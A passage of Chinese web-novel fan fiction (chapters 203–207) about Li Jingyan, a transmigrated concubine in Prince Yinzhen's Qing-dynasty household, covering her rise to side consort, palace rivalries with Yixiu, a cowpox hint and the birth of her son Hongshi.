小佟嬷嬷其实这波是站李格格的,她家主子在的时候,都不敢跟着皇后的规矩走,那是小心再小心,谨慎又谨慎的。即便是坐到了皇贵妃的位置上,请安也不过是一月两次。 这庶女就是庶女,只会在这面子功夫上找威严,上不得台面,不愧是是包衣连了宗的人家。 小佟嬷嬷瞧不上这位由妾室扶正的福晋,也看不上当初那个不会管家只会爱来爱去的福晋。总结,这府里头,她没有看的上的。 胤禛皱了皱眉,静言言语是不好听,但说的也没问题。 “李格格还小,在家又是受的正统嫡女的教育,福晋也太过苛待了。” 这话说的宜修心里拔凉拔凉的,难道是她不想当嫡女吗? “再说,李格格的话也不无道理,四贝勒府里的请安是频繁了些,就连太子妃那里,一月里也不过是初一十五两日请安罢了。” 从前他没在意过这些,不过静言说起来了,胤禛也觉得很不妥。这要是被其他兄弟知道了,免不得参他一个家宅不宁野心僭越的名头。 宜修这时候只能低头:“是,是妾身想差了。” 胤禛点了点头:“福晋是庶女出身,不懂这些也是有的。这样,府里的中馈一半给小佟嬷嬷管着,你有不懂的,就去请教小佟嬷嬷。” 说着,他起身往外走:“还有,李氏的禁足就免了吧。” 话音还未落,人就消失在了宜修眼前。 宜修静静的坐着,等到外头的动静消失,面无表情的挥了挥胳膊,整桌的饭菜便被砸到了地上。 她犹觉得不解气,抓起椅子边上的博古架里的花瓶狠狠的往地上扔。 “贱人。” 相比起李静言,宜修现在心里更恨的是分走了管家权的小佟嬷嬷。 “剪秋,给额娘那里传话,四贝勒府里中馈,要落到佟佳氏的人手里了。” 在这一点上,宜修倒是跟她那个外八路的姑母同心同德了。 齐月宾刚把茶煮好,就听到了贝勒爷回府解了李格格禁足的消息。 “她倒是好运气。” 正所谓敌人的敌人就是朋友,比起叫人下不来台但是心思浅显的李静言,齐月宾还是更加防备心思深沉的宜修。 “再等等吧,花无百日红,总有机会的。” 她自个儿嘟囔着,吉祥在旁也只是静静的站着。 “对了,宋氏那里,东西可送去了?” 宋格格家世更为低些,是正六品武昌府通判之女,人也瞧着不机灵,是齐月宾的首选。 “都送去了,格格,钱氏那里?” 吉祥知道自家格格想要个自己的孩子,但这么多年坐胎药不知道喝了多少碗,愣是一点消息也没有。只好把希望放在这些新入府的格格们身上。 “钱氏那里先放一放,等侍寝再说吧。” 钱氏是从四品宣武都尉的女儿,和李格格家世平级,宋氏那里没有意外的话,齐月宾是不愿意找这二位的。毕竟,她手里能用的人手并不算多,得精细谋划。 被齐月宾惦记的宋格格也只侍寝了两晚,胤禛便又去李静言处歇着了。 “你呀,嘴也太没有把门的了。” 李静言说的都是实话,只是不够委婉好听,胤禛自然是要护着的。 “哎呀,只是觉得福晋的规矩忒大了些。” 李静言压根没有认识到自己的错误,洋洋得意的看着胤禛有邀功的意味。 “爷让小佟嬷嬷也管着府里的事,应当会安稳些。” 李静言却不在乎这些,谁管家都好,只要别找事就好。 接连碰了钉子,宜修便安静了下来,小佟嬷嬷又是个手腕厉害的,一时间德妃便是想找事也只能作罢。 而李静言,趁着府里头伺候的人少,得胤禛心意得唯有她一人而已,撒娇痴缠,谈情说爱能做的都做了。 成功在康熙四十三年时有孕,成为了胤禛心里最易碎的珍宝。 “这些云锦都给李侧福晋送去,还有这新进贡收的金珠,也一并送去。” 府里头子嗣艰难,宫里的康熙和德妃都问过好几次了。也跟着赏赐过几个侍妾,但也只有宋氏生下了一个瘦弱的格格,现在还是一半药汤子一半乳汁的喂着,瞧着是不好养的。 胤禛格外重视李静言这一胎,不仅在李静言七个月时请旨晋其为侧福晋,甚至还把小佟嬷嬷也送到了李静言的院子里。 瑞云轩太小,怀着身孕不易挪动,胤禛便趁着机会修缮了一下离正院最近的芳华院。一应的物件都是苏培盛亲自带着人盯的,宜修无从下手。 她只能咬着牙看着李静言养胎,因为宫里头的皇上已经对她很不满了,这几年的年宴几乎是完全不给她面子。每个儿媳妇都会问一嘴,只有到了她时,便直接跳过。 所以,即使心里头恨不得叫李侧福晋摔死在院子里,也得违着心收手。 “爷,这宋格格来了两次,也不说干什么。” 胤禛转念一想,怕是为了那个病歪歪的大格格。 “你这里有太医,宋氏应是为了大格格而来。” 李静言张嘴接过胤禛投喂的葡萄:“那便抱着大格格来嘛,也不说话,妾身怎么知道她要做什么。” 胤禛失笑,但凡是动动脑子,应该就能想到宋氏的来意,偏他这个侧福晋是个没脑子的。 说起来没脑子,胤禛就头痛。本想着拉扯一把李家人,没想到李家人共用一个脑子,没有下手的空间。 不过还好,就目前的观察来看,静言最小的弟弟李泽文是个有玲珑心窍的,就好像一家人的心眼都攒到了小儿子身上一样。着重培养,假以时日定是个能挑起大梁的人。 更何况李家人最大的优点就是重情义,静言从他这里讨了两方墨就得了两个弟弟一箩筐的感谢之词和赞美,胤禛听的很舒坦。 “这是爷为你请的太医,你不同意,她自然不敢说什么。” 李静言拍了拍胤禛的手,指了指旁边的红枣茶。 “要妾身说啊,这府里头的孩子都是福晋的活计。瞧着孩子不好了,就拿着贝勒爷的牌子去宫里头请一个太医就是了。都是皇上的孙儿,皇上难不成还舍不得太医呢。 福晋真是妾身见过最悠闲的主母了,中馈有人帮着管,府里的孩子少她也不看,这么久了,妾身得了侧福晋的圣旨都出去跟十三侧福晋乌苏氏她们喝了下午茶呢。” 李静言这可不是污蔑宜修,她自得了侧福晋的圣旨后便接到了妯娌之间侧福晋的帖子,还专门请了胤禛给挑了新衣裳呢。 虽然大着肚子,但侧福晋有出府小聚的权利,当然选择出去放风啊。 不仅如此,李静言长的漂亮,虽然说话直白但夸人也直白,颇得了太子侧妃李佳氏的好感,胤禛还着重表扬了她呢! “你呀,少说些吧,省得福晋知道了又要罚你。” 这几年李静言的嘴无差别蛐蛐所有人,惹得胤禛总是在后面捞她。 不过她说归说,正经事做的比福晋多,得了小佟嬷嬷的欣赏,两人都快成忘年交了。 胤禛只能表示,痛并快乐着。 第204 章 李静言7 自瑞云轩的李静言被胤禛以有孕为由请旨立为侧福晋后,同宜院的上空便似笼罩了一层乌云。 福晋虽面上不显,仍旧是那般温和从容之态,但这周身散发的气场做不得假,阴沉沉的一片,叫下人绷紧了呼吸,除却必要的交谈,尽量不发一言。 “福晋,李侧福晋又出门了。” 剪秋不自觉的踮着脚,尽量叫自己不发出多余的动静。她低低的弯着腰,不必细看,就知道自家主子这时候的表情不会好。 宜修冷着脸深吸了口气,看着手下的宣纸迟迟下不去笔。 “又是哪家的帖子?” 她在心里恶毒的想着:见天儿的往外跑,肚子里的孩子出事了就好了! “回福晋,是十四爷的侧福晋,舒舒觉罗氏的赏花贴。” 十四爷胤禵向来是跟自家贝勒爷不太对付的,但要说有什么深仇大恨倒也不至于。 尤其是两兄弟年岁相差的较大,宜修嫁给胤禛时,十四还是个小屁孩。 四十一年底,皇上为十四爷胤禵赐婚,先后有了嫡福晋和侧福晋。 福晋完颜氏看不上四嫂宜修的出身和福晋之位的来历,除却不得不碰头的年宴和颁金节等重要节日,从来没有私下里下过拜帖。 而侧福晋有侧福晋的圈子,从前四贝勒府的两个侧福晋,宜修被扶正,苗氏因着得罪柔则罚跪流产后也香消玉殒。这偌大个贝勒府,连个能出去夫人外交的人选都没有。 自从李静言上位后,十三阿哥胤祥的侧福晋乌苏氏依着自家爷的吩咐给李静言下过拜帖,她就十分自然且顺利的融入到了侧室妯娌的交际圈,给本就名声不好的宜修,再一次添了新的话题。 “不过是个侧福晋,倒是显着她左右逢源了。爷最是讨厌这般作态,不必多管。” 宜修自以为了解胤禛,却从来没想过这般作态作为胤禛的天然同盟时带来了好处,胤禛怎么可能拒绝。 “小四嫂来了!” 舒舒觉罗氏和李静言一见如故,自上次在小十三嫂撺掇的赏花宴上对上眼后,两人交换了小名和爱好,私下里还会写信交流些护肤心得。 虽然自家爷们之间的关系并不算好,但妯娌之间其实在不涉及太大的利益关系时,私下里相交都是不错的。 毕竟这嫁入王府后总是没有闺阁中松快,能得一两个能说上话的,总是要自己给自己寻些趣味。 “怎么今儿都来的这么早,我这肚子没法,不然若是论出门的时辰,估摸着我也不算晚了。” 舒舒觉罗氏名幼年,是个性格很好的姑娘,她快步上前把手里的弘春放到了奶嬷嬷怀里,扶着李静言往院子里走。 “绝无可能!我可是昨晚儿就住在这了!” 说是京郊,其实也不过是离她们这些阿哥府上小半个时辰的马车距离而已的小庄子。 这是舒舒觉罗氏的陪嫁,虽然不大,但种了些果树旁边还有个养牛的地界儿,倒是有些野趣。 “小四嫂可是有不舒服的地方?” 旁的贵女有养马的有养狗的,偏她是个喜欢牛的,即便打扫的再干净,总会有些味道。她们还好,就怕这小四嫂因着有孕格外敏感些。 若是不成,便去了隔壁,那是她哥哥的庄子,里头干净的很,并且都打好了招呼做足了两手准备。总不能叫来了客人还让人家不舒服,这就不是结交,而是结仇了。 “没有,我好着呢。” 李静言也喜欢牛,牛牛多可爱啊,还好吃。 一行人赏了花又吃了点心,其实大部分时间还是围绕着各府上争奇斗艳的小妾们和道听途说哪家大臣府里的笑料来的。 “带我们去看看你那宝贝牛去,听小十三弟妹说,你那牛角上都带着花呢?” 说话的是五贝勒的侧福晋刘佳氏,她是这次小聚姐妹里带来的话题最多的,贡献了不少叫人眼前一亮又一亮,带些颜色的小话,所以被奉为次次聚会的消息通。 “我可不是跟你们说大话,我这里的牛可是宝贝的很,你们见过就知道了。” 说着话,舒舒觉罗幼年还叫人把李静言给围了起来:“小四嫂可是有了身孕,就别上前靠近了,我叫人画了画给你看怎么样?” 李静言点了点头,在后头看着她们慢慢靠近一个头戴大红花的晋南牛。 晋南牛原是山西晋南地区特有的品种,体格较京城这边常见的南阳牛更为粗大些,且母牛角多为鹿扁形,得了舒舒觉罗氏的眼,倒是宝贝的很。 她正笑这牛也跟个花姑娘似的,就看到旁边远处的棚子里好似也关着个牛,里头穿梭着两个老农,不知道在忙活什么。 李静言拉了一个庄子里的下人,抬了抬下巴问道:“那个牛怎么了?生病了?” “回贵人的话,那牛并不是生病,只是出了痘,便被单独放在了那里。” 这下人还挺惊讶的,那边的牛棚虽说并不是这个庄子的范围,但也是舒舒觉罗氏的地盘,所以只用了低矮的栅栏当做可有可无的隔断。 不过,这段距离可不算小,和他们如今的位置相较,离这里少说也有四五里地,这贵人的眼神可真好。 李静言:那倒也没有那么好,只是看不清又闲得无聊叫系统去看了一眼而已。 “牛也会出痘啊!那旁边的人不会被传染吗?” 李静言心里头咯噔了一下,她怎么觉得事态好像不对? 那下人恭敬的笑了笑,贵人们总是对这些不太了解:“也是会的,只是多数是没事的。老农做惯了,有经验。” 李静言点了点头,给了这下人赏钱就把人打发了。 她摸了摸自己特意戴上的青玉莲花簪,总觉得自己这次的运气特别好。 “原主的运气就是很好,其实她有孕时宜修下过两次手但都被她躲了过去,才能平安生下弘时。按照宜修那小心眼的性子,即使默认了叫蠢笨的李氏生孩子,也不会叫她那么平安顺利的生产的。” 系统正在这周围找到了个十分隐蔽的底下坑洞,里头藏着十箱的黄金和一箱珠翠。 经过扫描,约是前朝的物件,这庄子的地界儿往上推,是明末一个大臣的地方。每个小世界的发展都会补全曾经的历史,所以偶尔有抽风的小世界埋些宝藏都是正常。 这很符合自家同事说的无主之物,系统很自然的笑纳进了空间里。 “那可真是太妙了。” 李静言跟回来的舒舒觉罗幼年随口提了一句那边出痘的牛,然后带着伴手礼就回了四贝勒府。 “爷,看妾身带了什么回来!” 刚进院子,就看到苏培盛在外头站着,李静言自然的笑弯了眼睛走了进去。 “玩的高兴了?” 胤禛握着书靠在迎枕上,看着李静言活力四射的样子心情也好了起来。 “可高兴了!” 李静言站在胤禛身前,伸着胳膊任由翠萍和晴雨给自己脱掉外衣,手舞足蹈的比划着今日见了谁,吃了什么,说了什么小话,还不着痕迹的说了那出痘的牛。 “牛也会出痘,爷你说好不好笑?” 胤禛看着忙而不乱的翠萍,拿手里的书轻轻敲了敲李静言的头。 “这有何好笑的,牛也是生命,生老病死都是自然。” 李静言不满的捂了捂头,挺了挺肚子表示自己的威胁。 “那牛出的痘传染给老农也没事,这多厉害啊!” 胤禛摸着李静言的肚子的手愣了一下:“果真吗?” 李静言兴奋劲儿过去反而有些困倦了,她打了个哈欠把自己团进胤禛的怀里:“反正那小厮是这么说的。” 哄着李静言入了睡,胤禛坐在床边没有说话,似是在思考。 “爷。” 苏培盛的声音低低的响了起来。 胤禛下意识的看了一眼熟睡的李静言,自己披着外衣走了出去。 “怎么了?” 苏培盛弓着腰,声音低沉但在这黑夜里格外的清晰:“爷,十四爷来了。” 胤禛扯了扯嘴角,眼中是意料之中的了然。 第205 章 李静言8 昏暗的烛火下兄弟二人相对而坐,初时还有袅袅热气的茶杯已经泛凉。 “这事有可行之地吗?” 舒舒觉罗氏虽然对于牛出痘这个事并没有重视,但到底社交涉及到了四贝勒府,自然是有一说一,把能记得的都给自家爷说了一遍。 离开时李侧福晋的说的话,也被补充了上去,这才有了胤禵深夜来访。 胤禛轻轻敲了敲桌子,看着胤禵的眼神有些意味深长的打趣。 “你这是什么眼神?” 胤禵就知道跟老四在一起没什么好事,若不是这件事是小四嫂李氏提起,他宁愿和八哥他们共享这功劳。 “有苗头,咱们就要试一试。” 胤禛收回视线,这时候的胤禵虽然仍旧是人憎狗厌,但到底还是有些底线的。天花是笼罩在这个时代上空挥散不去的阴云,便是知道了这一丁点苗头,他们都得尝试。 两人嘀嘀咕咕商量了半宿,把各自负责的板块分工明确后,胤禵实在撑不住了,倒在了胤禛书房的软榻上。 胤禛难得的有些无措,他没跟这位亲弟弟相处过,此刻这般,竟有些不知道该做些什么了。 好在苏培盛靠谱,做奴才的嘛,伺候哪个爷都是一样的流程。这书房的软榻本就是供胤禛小憩时用的,宽敞舒适,稍作休息也不是不可以。 悄悄的给这位爷褪了靴子,盖上被子,胤禛才舒了口气回到自己屋子里睡觉。 虽然第二日兄弟二人一同上朝引起了众人的讨论和关注。 但胤禛冷脸没人敢问,胤禵混不吝嘴里没一句正经话。更何况兄弟俩自这次后再没有什么亲密交集,大家也就忘了这回事。 “爷?” 李静言看着又一次出现在门口的胤禛很是不解,这段时间像是后院没人了一般,总往她这小小的瑞云轩挤。她肚子也越发大了,床又不够宽敞,实在是有些嫌弃这个跟她抢地盘的。 “你也快到生产的时候了,又晋了侧福晋,爷派人去请了你母亲来,还送了一个夫子去你们府上。这夫子是爷的人,若你不愿意......” 胤禛虽有监视的意思,但更多的是拉拔的想法。李家不是聪明的,若没有人从旁协助,不知道什么时候才能再进一步。 只是单指望那七八岁的小儿,风险未免大了些。况且人不聪明最容易干些意想不到的蠢事,胤禛是真怕这一家人连累了自己的侧福晋。 “这有何不愿意,爷可真贴心!” 李静言面上一副‘不知道爷因为什么嘉奖她,但她受之无愧’样子叫胤禛格外的稀罕。 不过后院也不是全然安宁,胤禛怕李静言被有心人三言两语挑拨影响了心情,便又细细解释道:“爷并非要监视你家人,只是有些事情怕你父亲处理不当,你弟弟泽文是个好的,爷不希望他被耽误了。” 李静言不解的扭头看着身后的胤禛:“什么监视?” 胤禛:我就是闲的! “没事,休息吧。” 李静言躺下在心里暗暗的笑了笑:笑话,她李家害怕监视?有你的人在我才放心呢!四贝勒爷的人啊,可以想象到自家父母听话的样子了呢! 如李静言所料,拒绝了不少送礼的李父根本来不及心痛,就被自家女儿送回来的一尊纯金的香炉喜的眉开眼笑。 这份喜悦还没有落下,四贝勒府就送来了人说是给小儿子当夫子! 李昌源恨不得当场给四贝勒磕上三个!他老李家在读书上就没几个有天分的,他也是当年运气好,赶上皇上打击贪官,他就这么趁着多位空缺的节骨眼坐上了知府的位置。 虽然这么多年没干出来什么成绩,但紧跟着上头的指令,倒是也没弄出乱子。可惜这样的好运气也就这一次了,再进一步怕是痴心妄想。 人到中年,也看的出来小儿子的天资不俗,但能现在就得四贝勒的重视,他们老李家一定是要飞黄腾达了! 有时候不聪明也有好处,对待自己从没有见过的皇子的恐慌也比别人少些,就比如和李静言脑回路差不多的李母。 “这贝勒府是又大又豪华,但你这院子......” 李母包袱款款,带着女儿爱吃的梅子和她攒下漂亮的首饰,被小太监一路领到同宜院给贝勒福晋请了安,才看着瑞云轩这整洁但小的院子发出了最真诚的感慨。 李静言挽着自家娘亲的胳膊大大咧咧的说道:“贝勒爷给女儿收拾了大院子,这不是因着女儿快生了才没有搬嘛,等肚子里的小阿哥出生了,女儿就能住大院子了。” 送李母过来的是剪秋,听到这话脸上的礼貌的假笑都碎掉了。 “李侧福晋慎言,您如今也是上了玉牒的侧福晋了,言行举止不能给贝勒府摸黑啊。” 剪秋自以为已经说的够婉转了,没想到‘啪’一声,脸上挨了一个大嘴巴子。 “你也知道我是上了玉牒的侧福晋,你不过是福晋身旁的奴婢,没规没矩的,本侧福晋这里轮的到你来插嘴吗?” 不等剪秋张嘴,李静言叭叭的继续输出:“小路子,你去前院等着爷!叫爷回来了去问问福晋是不是对我有意见,怎么能纵容奴婢欺辱到阿哥生母头上了!” 小路子拔腿就跑,这活儿他熟练的多,这位主子是个不肯吃亏的主,偏这贝勒府的男主子还宠着。再说这次侧福晋说的也没错,就算是福晋身边的人也是奴才,怎么敢跟主子这么说话的。 李静言也不管剪秋,自顾自的往自家额娘身上一歪:“哎哟,气的我肚子疼。” 李母也没觉得女儿惹祸,反而满脸心疼的抱着李静言大声的喊道:“哎哟,这是怎么了?这是谁家的奴才啊,怎么敢跟主子对着干的,我可怜的女儿啊!” 瑞云轩一片兵荒马乱,胤禛得了信儿连前因后果都没顾上问,直接跑到李静言面前。 瞧着面色红润腻在李母怀里撒娇的人,胤禛真是气笑了。 “你倒好,外头的闲话都要传出府了,你还好好的吃呢。” 李母给胤禛请了安,眼底倒是没什么惶恐,反而带着跟李静言如出一辙的理所当然的清澈:“贝勒爷担心多余了,这当家的主母有的是手段捂着自个儿府里的消息,这侧福晋也是被妾身娇惯坏了,贝勒爷恕罪。” 说着说着,李母又有了自个儿女儿是嫁进了皇家的真情实感,这时候反而有点后怕。 瞧着面色越发瑟缩的李母,胤禛无奈的闭了闭眼。 “李夫人多虑了,只是怕静言受惊罢了。” 至于这府里的消息能不能捂的住,胤禛心里冷哼一声,要不是小佟嬷嬷出手及时,宜修刻薄有孕侧福晋的名声早就被隔壁老八听到了。 李母寻了个由头退了出去,李静言立刻转移了怀抱,再次腻在胤禛怀中。 “爷,剪秋也太讨厌了些,妾身在自己院子里说话都要谨言慎行吗?” 看着想要暗戳戳告小状却又告不明白的人胤禛摸了摸她的脑袋:“你都说什么了?给爷说说。” 李静言扒拉扒拉的把自己的话又说了一遍,说完自己认同的点了点头,觉得自己一点毛病都没有。 “嗯,是剪秋僭越,爷叫人罚她。” 胤禛的性子他自己也清楚,并不是个好相处的,跟兄弟们的关系也并不算融洽。但自从李静言受邀参加过几次侧福晋的小宴后,不仅太子和颜悦色多了,大哥三哥五弟那边更是少了不少酸言酸语。 枕头风的威力胤禛向来是不会小看的,尤其是静言参加的还都是较嫡福晋更为受宠的侧福晋的小宴。 享受过该享受的福利后,胤禛对于这个纯元遗留的妹妹便更少了耐心。 第206 章 李静言9 剪秋被打了板子,这消息可比李侧福晋母亲入府的消息更吸引人。 宜修拍了拍剪秋的肩膀嘱咐她好好养伤,这件事后她的脸面算是被贝勒爷踩在了脚底下。不过宜修并不敢恨胤禛,只能把一腔怒火都记在了李静言身上。 本来打算忍了李侧福晋这一胎的宜修全身的怒气都被调动了起来,她看了眼在剪秋身边垂泪的绘春,低低的呵斥了一声:“闭嘴,想让贝勒爷知道你对他的命令不满吗?” 绘春猛地捂住嘴,利索的跪在地上:“奴婢不敢,奴婢只是心疼福晋和剪秋姐姐。” 宜修看着剪秋肿胀的下身咬了咬牙:“这女子生产时最是容易出现问题。府里的接生嬷嬷和奶嬷嬷都安排好了吗?” 绘春却抿了抿嘴:“福晋,李侧福晋身边有小佟嬷嬷在,咱们的人只安排了一个接生嬷嬷。” 宜修老早就看这个小佟嬷嬷不顺眼了,李氏几人入府前特意寻了空子叫她染了风寒。 没想到小佟嬷嬷岁数不小身体还挺好,竟然扛了过去。 “一个就够了,李氏不知死活,出了什么意外也跟咱们无关。” 宜修想的简单,其手段恶毒也大多是跟当家主母觉罗氏耳濡目染学了几分皮毛而已。李静言在府中虽然得宠,但并不是个会钻营的,这么长时间也没拉拢几个人手,就靠着贝勒爷那点子缥缈的宠爱就知足。 生孩子这般大的事情,竟然一点自己的人手都没有安排,这不就是上天都来相助她吗? 可惜宜修的算盘打的好,却完全忘了思考一个问题,小佟嬷嬷即使顺着胤禛的意思来到瑞云轩伺候着,但若是李静言没有得到她的认可,怎么会揽下接生嬷嬷和奶嬷嬷的挑选呢? “您这是破水了,先叫太医看一看。” 刚用了早膳,李静言的裤子就湿了一大块。 小佟嬷嬷摸了摸李静言的肚子,先安抚着她换了身舒服的衣裳。 太医这两个月一直在贝勒府住着,就为了四贝勒这好不容易得的这一胎。 “姐姐可有肚子疼?” 宋格格接到消息也过来了,自从上次李静言叫太医给大格格开了方子,大格格如今已经不用喝苦药汤子了。 宋格格本有些小心思,但再多的谋划也不及自己女儿的平安。 尤其是有段时间齐格格总是会凑到大格格身边,说些似是而非的话叫她害怕,还是李侧福晋言语相助把齐格格赶跑的。 宋格格永远会记得,在小花园时,自己抱着大格格被齐格格言语里的话说的不知所措时,李侧福晋从光亮处现身:“齐格格这人是真的有意思,什么叫额娘家世不显小格格未必有好? 照你这么说,你现在连侧福晋都做不上,就是因为你额娘不行吗? 啧啧啧,齐格格你可真是不孝顺!” 齐格格不过是想用自己的家世和皇家格格扶蒙的消息换宋格格一个危机感,再增加相处机会,趁着小格格还小时,解决一个无宠无家世的贝勒格格而已,她齐月宾还是做得到的。 没想到李静言插了一脚,那大嗓门喊的整个府里的人都要听到了,让她前功尽弃。 从这之后,齐格格再也没有往小格格身边凑过。 想到这里,宋格格握紧了拳头,眼睛死死地盯着每一个来往的下人和他们手里的物件。 瞧着太医叫人熬药,宋格格又自告奋勇的去了小厨房,不错眼的盯着。 李静言也只是习惯了随时给别人,尤其是福晋和齐月宾找个不痛快罢了。没想到还得了这么一个忠心的小弟。 “慢着些,羊水已经不流了,但是这宫口未开,侧福晋您还是走一走好些。” 李静言疼的头皮发麻,为了转移注意力,她在心里呼喊系统:“我这是弘时吧?别弄错了!” 系统沉默了一会儿:“要是有这种工作失误,你可以去九殿那里申请工伤。” 李静言呲了呲牙,这一阵的阵痛过去总算歇了口气。 “什么工伤?” 系统看了眼地府内部工伤补助条例:“生育工伤挺好的,可以补一世首富之女的生活。顶尖的家世,无可挑剔的美貌,花不完的钱,看一眼就什么都会的脑子。” 李静言此时被突如其来的阵痛和惊喜同时冲晕了脑子:“咳,什么弘时不弘时的,不对就再生呗!” 系统:我就知道! “放心吧,是弘时。” 李静言假笑:挺好的,我也不是很喜欢生孩子。 一直到胤禛回府,李静言才躺到床上开始使劲。 因着生产,瑞云轩的人少,从上个月开始小佟嬷嬷就调来了一批下人做帮忙。 其中李静言把各府的探子都挑了进来。 “侧福晋,您这挑下人的眼光绝了!” 小佟嬷嬷表示瑞云轩的下人就是整个贝勒府的精华,都是容貌端正的。 至于为什么在这个时候把探子都挑来,自然是...... “小佟嬷嬷,这个人一挨我我就好痛!” 李静言的大嗓门喊的瑞云轩上下都听的立体环绕式动静。 小佟嬷嬷平时和李静言说话时笑眯眯的,这个时候丝毫不含糊。 抓着这个唯一一个不是她挑的接生嬷嬷出去。 “说,你对侧福晋做了什么!” 胤禛自然也听到了李静言的喊声,看到这个面慈却有异心的嬷嬷直接叫苏培盛按住。 “你若是现在招了,还能保住一条性命。” 胤禛没有那么多心思听嬷嬷狡辩,现在只惦记着里头的人。 周围帮忙的人虽然按部就班的忙碌着,但眼神可不闲着,一个劲儿的打量。 可惜这嬷嬷是个嘴硬的,被四贝勒关押下去。 几个人眼珠子一转,觉得这是他们主子需要的消息,一个个按耐住心思,决定入夜了再打探一番。 这其中,自然也包含了康熙的探子。 所以李静言生下小阿哥后,第一时间传给康熙消息的不是四儿子,而是自己的探子。 康熙想要知道什么消息可太简单了,也就一晚上时间,宜修的算计和德妃的放纵就这么出现在他的桌上。 “真是好的很啊,纵容连宗侄女残害自己的亲孙子。” 看着手里的证据和供词,康熙一甩手,这几张纸便到了太子的桌子上。 虽然这几年父子俩的关系越发紧张,太子羽翼丰满后康熙很是忌惮。但到底互相还是有情分拉扯,这些家长里短的小事康熙很乐意和太子分享。 太子看了一眼,有些嫌弃的嗤了一声。 “这位李侧福晋儿子倒是知道些。弘皙的额娘和其关系不错。” 康熙别看对余下的儿子不怎么重视,但其实他们身边的事大大小小他大多都知道。 “嗯,朕也有所耳闻,是个直白单纯的,老四偏疼了几分。” 父子俩对视一眼皆有些不可置信,就因为受宠就要叫人家生产时去死,这正妻就这点气度?若是所有正室都是这心性,大清怕是没什么发展空间了。 “老四那眼光,净在脏东西堆里挑宝贝了。” 太子精准总结,康熙赞同点头。 不过康熙想的更深些,对于儿子们贪图好颜色有偏宠的妾室他都不放在眼里,但若是正室插手皇子的子嗣问题,这就是戳到了他的心窝子上。 转了转手上的扳指,康熙这口气还是忍不下去。 “梁九功,传旨,德妃乌雅氏德行有失不堪为妃,着降为嫔,褫夺封号,禁足三月。其手中协理六宫之权交于佟贵妃。” 德妃,不是,乌雅嫔确实得康熙的喜爱不假,但这点子浅薄的男女之情若是碰上爱新觉罗氏的子嗣,便一点也不剩了。 看在老四和老十四的面子上,皇上自觉已经很给她留了体面,最起码保留了一宫主位的身份。 然而乌雅嫔接到圣旨后却心下大骇,汲汲营营小半生,什么德行有失她是不认的。可御前的人这次的嘴巴太紧了,不收礼不开口,叫她无从下手。 好在还保留了嫔位,乌雅嫔也只能劝慰自己,只是一时的失利。 至于四贝勒府里的宜修,康熙完全没有询问胤禛的意思,找人悄摸的下了些秘药,叫这位乌拉那拉氏缠绵病榻罢了。 至于要命一事,康熙觉得还是等等吧,毕竟老四刚死了一个福晋,这位还是侧福晋扶正的,名声已经是臭不可闻了。 让这位扶正的福晋再活个五六年的,也好把老四身上的污名洗一洗再说。 太子只是低着头听老爷子处理家事,既不插嘴也不反驳,反正是个可有可无的弟媳,叫老爷子高兴就是了。 第207 章 李静言10 至于胤禛,是第三日才得到老父亲的消息。 看着手里头亲额娘和福晋联合起来给自己的妾室下秘药,制造流产的过程和人手,桩桩件件触目惊心,叫他心里头一片冰凉。 “皇阿玛,这......” 他想问这是不是真的,但话未出口自己都觉得没有追根究底的必要。 康熙那点少的可怜并且四分五裂的父爱此时倒聚集成了一团,从上头走下来拍了拍胤禛的肩膀。 “还有皇阿玛和你的兄弟们在,你那位侧福晋也给你生了个阿哥,日子还长,放宽心。” 虽然康熙也没体验过什么父爱,但到底他的额娘是真心的疼爱他的,所以对于这个连亲额娘都算计的儿子,心里头还是挺同情的。 胤禛点了点头,他早就感受到自家额娘的疏离了,但是还一直抱有希望。 如今这般也好,总好比被裹挟着孝道做些违心之事要好。 带着老父亲的安慰,胤禛挑挑拣拣的找了些李静言喜欢的首饰拿去了芳华院。 瑞云轩实在有些狭小,李静言的首饰大部分都已经搬了过去。只等着弘时的满月宴后,母子俩就可以乔迁新居了。 没错,为了补偿自家可怜的四儿子,康熙已经赐了名字下去,不过刚过了洗三,就得了赐名的也只有弘时了。 就连皇上最喜欢的弘皙,也是满月上才得了名字。 不过大家都没什么嫉妒,联系德妃贬至乌雅嫔一事就可知,这位并不是慈父的皇帝为何会对老四家的这个孩子如此特殊了。 大家还十分同情胤禛来着,这名字嘛,早或晚都是会有的。但有这么个时不时就要在后背捅儿子一刀的额娘,他们是敬谢不敏的。 胤禛这几日觉得自己的人缘好像昙花一现的好了一阵子,就连老九老十那两个狗东西都不呛呛了。 看着即使生产后仍旧貌美单纯的李静言,胤禛只觉得得了她后,运气一直都不错。 “爷干什么这么看着妾身?” 李静言没什么坐月子时候不见人的念头,她天生丽质,自信的很。 “只是瞧你脸色还是苍白些,血燕和阿胶可都按时用着?” 都是补气血的好物,胤禛对于有真心喜爱的李静言大方的很。 李静言撇了撇嘴,再好的东西日日吃着也腻歪了。更何况为了好入口,里头加了不少的红糖,甜的她整个人都要变成甘蔗了。 “爷你尝尝,妾身的脸都是甘蔗味儿的。” 胤禛看着偏过去白嫩的侧脸,毫不客气的探身咬了一口。 迎着李静言不可置信的眼神还大幅度的咂了咂嘴似是在品味:“嗯,是甜了,爷的牙都要掉了。” 被打趣了,李静言有些恼,她作势要伸胳膊打人,被胤禛握住手放在怀里头:“你摸摸,爷可是心不慌,说的都是真话。” 配上那并不油腻的脸上带了些宠溺的笑容,李静言连耳朵尖都是红的。 胤禛这时候完全不懂什么叫见好就收,他抱起一旁吃饱喝足的弘时凑到李静言身边:“瞧你额娘,脸红了。” 仗着自己儿子在怀得瑟的挑眉,未等李静言想出应对之策,儿子便落在了床上,脖子上多了个清清凉凉的物件。 想要咬人的嘴闭上,李静言低头一看,是一串华丽异常的领约。 整体为环形活口开合式,环上镶嵌长条形青金石四块,红色料石两块,上嵌红宝石两颗,蓝宝石两颗,珍珠一粒。 活口处为金质錾花云蝠纹,其上各系大红色绦带一条,绦带上缀红色镶金料石珠和红色镶金料石石坠角各一,尽显皇家雍容华贵之气。 “喜不喜欢?” 这是胤禛亲自画的图纸打造的,他最是知道怀中人小女子的心态,单是几句好话,几件漂亮首饰,就能哄的人眉开眼笑,像一只粘人的猫一样。 “喜欢,好漂亮呀爷。” 成功听到预料中黏黏糊糊的声音在耳边响起,胤禛得意的勾了勾嘴角。 “你好生听小佟嬷嬷的话,等养好了身子,爷也带你去咱们的庄子上转转。” 李静言开心的点了点头,随即又有些担忧的看了看自家胖儿子。 “弘时还小呢,不好带吧?” 胤禛笑了一声:“带他干什么,府里有奶嬷嬷还怕饿着他吗?” 李静言瞪着眼睛看着胤禛不说话,胤禛很轻易的从她眼中看到了自己想要的信息。 